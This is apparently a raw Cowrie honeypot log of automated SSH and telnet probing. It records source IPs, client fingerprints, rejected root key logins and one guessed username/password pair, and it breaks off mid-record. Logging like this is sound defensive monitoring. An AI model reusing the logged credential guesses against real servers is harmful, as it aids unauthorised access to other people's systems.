{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA4+TMD5njNa1pyuwwUwNHMRKIJhH5sx0ASrajr4T4t0L148KGd8ElLfV68TBhqolTR2cH3rUmGgo9v4EX9vRlCM/Ns27ggyKqvlubF3aUakPsvNoptemZAPCBURaOnbXHRwpx2TIEbtLnL8yp8rm/5ymasWJvxC+hNZrrYsriFC8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.688550Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA4+TMD5njNa1pyuwwUwNHMRKIJhH5sx0ASrajr4T4t0L148KGd8ElLfV68TBhqolTR2cH3rUmGgo9v4EX9vRlCM/Ns27ggyKqvlubF3aUakPsvNoptemZAPCBURaOnbXHRwpx2TIEbtLnL8yp8rm/5ymasWJvxC+hNZrrYsriFC8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.694374Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr8cVkYczPym6PymSurNZPKLU56sj4J8kXO9BMBJJuNzXOk1uxDlw4Jd2XVJudnTBAPZEdjAyaby++DE8ecX+Mf6m2egTg0U8nEGY54pmqOIsuB4TFzuQ6PRow1HSjJRIj61ags/PEYJ0r41nhxYSW3gfXKUc0FZBD9/yw0RClQjiJsVLKUStIVjadZbuGQVg3idGaZ+lGNcY7QxZr8kmJjSyE9latfk7z91RPcTCyD635LhE2OMR5D/R1mgA+xi1YNQIqTZC/izGuVqt8HGmTfQLFUXuUBkv/JbmTvUVudg1yzFvqh2MVbLehrX4T1DJ5mc2irDafnsshsdlr9im0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.827485Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr8cVkYczPym6PymSurNZPKLU56sj4J8kXO9BMBJJuNzXOk1uxDlw4Jd2XVJudnTBAPZEdjAyaby++DE8ecX+Mf6m2egTg0U8nEGY54pmqOIsuB4TFzuQ6PRow1HSjJRIj61ags/PEYJ0r41nhxYSW3gfXKUc0FZBD9/yw0RClQjiJsVLKUStIVjadZbuGQVg3idGaZ+lGNcY7QxZr8kmJjSyE9latfk7z91RPcTCyD635LhE2OMR5D/R1mgA+xi1YNQIqTZC/izGuVqt8HGmTfQLFUXuUBkv/JbmTvUVudg1yzFvqh2MVbLehrX4T1DJ5mc2irDafnsshsdlr9im0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.832576Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAm1V3cpeCkfMvhrYqsa2ZZJGR8jCgJTghIWouY0E6ZU7MWLMyHemeGoPLYkVDrwE3C3tUMEd11Nxe5dZe6knpXTfeuHlGKh3Oth2JMqPKDqDBKExtaK6ysPT4SuKp3eV0DkZq6IrXXWpfX0rW/eatnav99C6mLgDXyEHo3ebgiOc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.979643Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAm1V3cpeCkfMvhrYqsa2ZZJGR8jCgJTghIWouY0E6ZU7MWLMyHemeGoPLYkVDrwE3C3tUMEd11Nxe5dZe6knpXTfeuHlGKh3Oth2JMqPKDqDBKExtaK6ysPT4SuKp3eV0DkZq6IrXXWpfX0rW/eatnav99C6mLgDXyEHo3ebgiOc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:17.986426Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq7gpsyPI2Yan4PiZUPg0mHcX9vPcXFo37X/d/mBjaIAGSX8ECzcQAFfqgodqd5J+KWiavytW4Th/Nd1as3IYm/f/MEoob5WBo2RBg6CGA7x7klf8CkQVRPooDjGpoVx+zIYTcgSyM6uSSatYYOI/yo9Z1PU/KGoH9v9biK6P15XG8N09hfLrhz5q6cwkR6a0g5r4aPdfwD/7vWDa1HdHBrMq1YiD9V3EO1ZDarcY/28HAObOewi0UJjugh98bWzFxUu8PjFMj2XVCDPRS+c4hhbuGGcJGbvP8s3+IkjOSOT+VQE7CmlXaJaOo+jY0qLXyPi6VV/T3NI8dQWZ0lRkh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:18.121501Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq7gpsyPI2Yan4PiZUPg0mHcX9vPcXFo37X/d/mBjaIAGSX8ECzcQAFfqgodqd5J+KWiavytW4Th/Nd1as3IYm/f/MEoob5WBo2RBg6CGA7x7klf8CkQVRPooDjGpoVx+zIYTcgSyM6uSSatYYOI/yo9Z1PU/KGoH9v9biK6P15XG8N09hfLrhz5q6cwkR6a0g5r4aPdfwD/7vWDa1HdHBrMq1YiD9V3EO1ZDarcY/28HAObOewi0UJjugh98bWzFxUu8PjFMj2XVCDPRS+c4hhbuGGcJGbvP8s3+IkjOSOT+VQE7CmlXaJaOo+jY0qLXyPi6VV/T3NI8dQWZ0lRkh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:18.125911Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:18.262830Z","src_ip":"188.44.20.24","session":"7a14f6a025cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.157129764556885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:22.348566Z","src_ip":"128.199.8.54","session":"43d6f061663f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00200319290161,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:22.652369Z","src_ip":"212.55.149.117","session":"5390cbf08940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.552088260650635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:26.140960Z","src_ip":"128.199.8.54","session":"fb460b3549f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55324697494507,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:30.145679Z","src_ip":"128.199.8.54","session":"fd94b6672371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.756641149520874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:33.435414Z","src_ip":"128.199.8.54","session":"0170ae97c84e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994932174682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:38.043769Z","src_ip":"45.148.121.166","session":"3ebb971c2e17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08543300628662,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:39.444591Z","src_ip":"128.199.8.54","session":"6da245c18a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203479766845703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:42.660354Z","src_ip":"45.148.121.166","session":"1e65fbe6f954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67509174346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:48.160089Z","src_ip":"45.148.121.166","session":"2041a8641a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59804,"dst_ip":"159.203.135.109","dst_port":23,"session":"014e8d4ee0d2","protocol":"telnet","message":"New connection: 45.148.121.166:59804 (159.203.135.109:23) [session: 014e8d4ee0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:52.383335Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59814,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b15cf08f7f","protocol":"telnet","message":"New connection: 45.148.121.166:59814 (159.203.135.109:23) [session: 65b15cf08f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:03:53.228745Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40166,"dst_ip":"159.203.135.109","dst_port":22,"session":"011e20832f3d","protocol":"ssh","message":"New connection: 80.94.92.186:40166 (159.203.135.109:22) [session: 011e20832f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:02.679806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:02.778365Z","src_ip":"80.94.92.186","session":"011e20832f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:03.007809Z","src_ip":"80.94.92.186","session":"011e20832f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:03.965519Z","src_ip":"80.94.92.186","session":"011e20832f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:05.366198Z","src_ip":"80.94.92.186","session":"011e20832f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59656,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a82044e1e2","protocol":"telnet","message":"New connection: 128.199.8.54:59656 (159.203.135.109:23) [session: 08a82044e1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:08.321235Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":53390,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6e22548eea0","protocol":"ssh","message":"New connection: 188.44.20.33:53390 (10.17.0.5:22) [session: f6e22548eea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:08.962797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:08.967724Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.098926Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33514,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df073f0bd0b","protocol":"telnet","message":"New connection: 128.199.8.54:33514 (159.203.135.109:23) [session: 2df073f0bd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.343365Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34070,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0a3ab3564a","protocol":"telnet","message":"New connection: 128.199.8.54:34070 (159.203.135.109:23) [session: 8f0a3ab3564a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.609119Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:eb:95:8d:65:8a:08:e7:65:81:12:c6:37:1c:52:62","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGQuWlcKJDMplnLtaJUQuCG/AaVnpu8pNuYL0vDCMK30","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:eb:95:8d:65:8a:08:e7:65:81:12:c6:37:1c:52:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.722982Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:eb:95:8d:65:8a:08:e7:65:81:12:c6:37:1c:52:62","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGQuWlcKJDMplnLtaJUQuCG/AaVnpu8pNuYL0vDCMK30","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.727193Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:35:65:3d:2a:b3:c2:75:05:36:aa:20:26:07:d9:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe/2/oBul1s5DFQDRqp5/Dq+6WI3R7vwC8BBGvCTiR9dgnPaN+VQb67+UuOXi6v5y6/ncJg7cmxYHNeNpzVWNT9EPcespkb51HPlziLd7ouLc0lbGPLyJd4B4rsjX0myzhiM1uRzLkXJGH1gZrhIa+5/VNGV5Ce49rtsHd+PNYdT+2Hzib+YZCqMDqvmuNX9d0CRoohZMP52uwfR8m0rLnyhPLTBu8c2QoW55onCrguoi11vf+fHOSkOJFPHKk9vUi0/0T933EEzfpV+fyrTFJizWvernQNsqqwZautUA6H1FFpWOyZPeULWOqxQ9V4AqY4fQXKdpXfK3oz8sDlSzX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:35:65:3d:2a:b3:c2:75:05:36:aa:20:26:07:d9:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.857141Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:35:65:3d:2a:b3:c2:75:05:36:aa:20:26:07:d9:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe/2/oBul1s5DFQDRqp5/Dq+6WI3R7vwC8BBGvCTiR9dgnPaN+VQb67+UuOXi6v5y6/ncJg7cmxYHNeNpzVWNT9EPcespkb51HPlziLd7ouLc0lbGPLyJd4B4rsjX0myzhiM1uRzLkXJGH1gZrhIa+5/VNGV5Ce49rtsHd+PNYdT+2Hzib+YZCqMDqvmuNX9d0CRoohZMP52uwfR8m0rLnyhPLTBu8c2QoW55onCrguoi11vf+fHOSkOJFPHKk9vUi0/0T933EEzfpV+fyrTFJizWvernQNsqqwZautUA6H1FFpWOyZPeULWOqxQ9V4AqY4fQXKdpXfK3oz8sDlSzX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:09.861761Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:07:a8:62:18:2b:25:75:fb:5f:0e:0b:bb:ad:44:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkMiyZbO491++LE9ZrQXWdXfegSNBdp6l/XQorxFdH8KrcyPLL2QOXr5B1Azuy6ukh/VqYFEUGfe69XVZe1wO+X9uVfl5k0+iOM3KSvXdUReZ6QGvcyuKTqlfqeYrle2wzhI0kN+oqEWMiAGpKjt0lSaMutz3RCd21T/Clnk7YZM9CtJsOEZ6mO89BchmKXOBRjlqJsXZLoPdstz3nzj7fJ5nQrTP66IqR3A2p7I6IdM7hqNwpjM/ovsZWTNwKlIJ8uT3sr+TLmOG404YBQLyAIngKc/BH242La8H+lcGFLD0h/U2pyLcx9/v6GRjCGE3wfxR2F3XlSe7CJbr+UY5/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:07:a8:62:18:2b:25:75:fb:5f:0e:0b:bb:ad:44:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.004631Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:07:a8:62:18:2b:25:75:fb:5f:0e:0b:bb:ad:44:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkMiyZbO491++LE9ZrQXWdXfegSNBdp6l/XQorxFdH8KrcyPLL2QOXr5B1Azuy6ukh/VqYFEUGfe69XVZe1wO+X9uVfl5k0+iOM3KSvXdUReZ6QGvcyuKTqlfqeYrle2wzhI0kN+oqEWMiAGpKjt0lSaMutz3RCd21T/Clnk7YZM9CtJsOEZ6mO89BchmKXOBRjlqJsXZLoPdstz3nzj7fJ5nQrTP66IqR3A2p7I6IdM7hqNwpjM/ovsZWTNwKlIJ8uT3sr+TLmOG404YBQLyAIngKc/BH242La8H+lcGFLD0h/U2pyLcx9/v6GRjCGE3wfxR2F3XlSe7CJbr+UY5/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.009609Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChHkwT9UQLh2tKmpMkzen3rxwDwkChZjbyHT0+MXMuJNrqQm4rzLisc+xGSYU0/zwjddt5e1qla5DdMYi62LCCtoHFjVU77KmagQy4JXapY42e7MQ79Gd6zJet41meTd/U/ofDUFYG59YL6GQmqkv2q7ohsWq7mB+e8aGLyMRpzwErTcHncCVC0fGsgXmBptNQAGXUoaNbgjcAy+HR2f+XCzns9zNLAUcNPjr29l3otNZN99qeLtGW/GYrn3ML6IiI1tQdVf3VmyQZZ8X5AJGRtsIVhBxaI7rWaGU9styyAO/xi3SbuPUJIwEk4/9xH5X2gP9210p/ki9tpVcfC8Goa8TYlcmkz0RxQxx4vqQnJTNG8tC9wsnQqh93AyoSjlRI6zmY8LEH+xCt6C9UphWksp9hFgYsx9cK7vJd7ZswSOQ+tExFfW0doDJyQEs1k4+qeL9y0SW1ZF7+J5PKvUJbFrxAWdpEBaI0krarfoxmICUak5Ssmjx/DAaM7WRt5g/9mHeX8VyiGeBlc1QZdXnRuNyCyFdCPRIyjnjSBEw6BrcoiuDhVxS7eD14MG+p7hJivSObd42rWeowBHjv7CxvfRND6YM2h+CAxzGAGd2Y1oPG4kYG9L1/pN2e7xTjxXFrWDGIG+HkjJXVnZdrDjFTbgOgsNtgBte4UXop6PbRGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.140687Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","key":"ssh-rsa 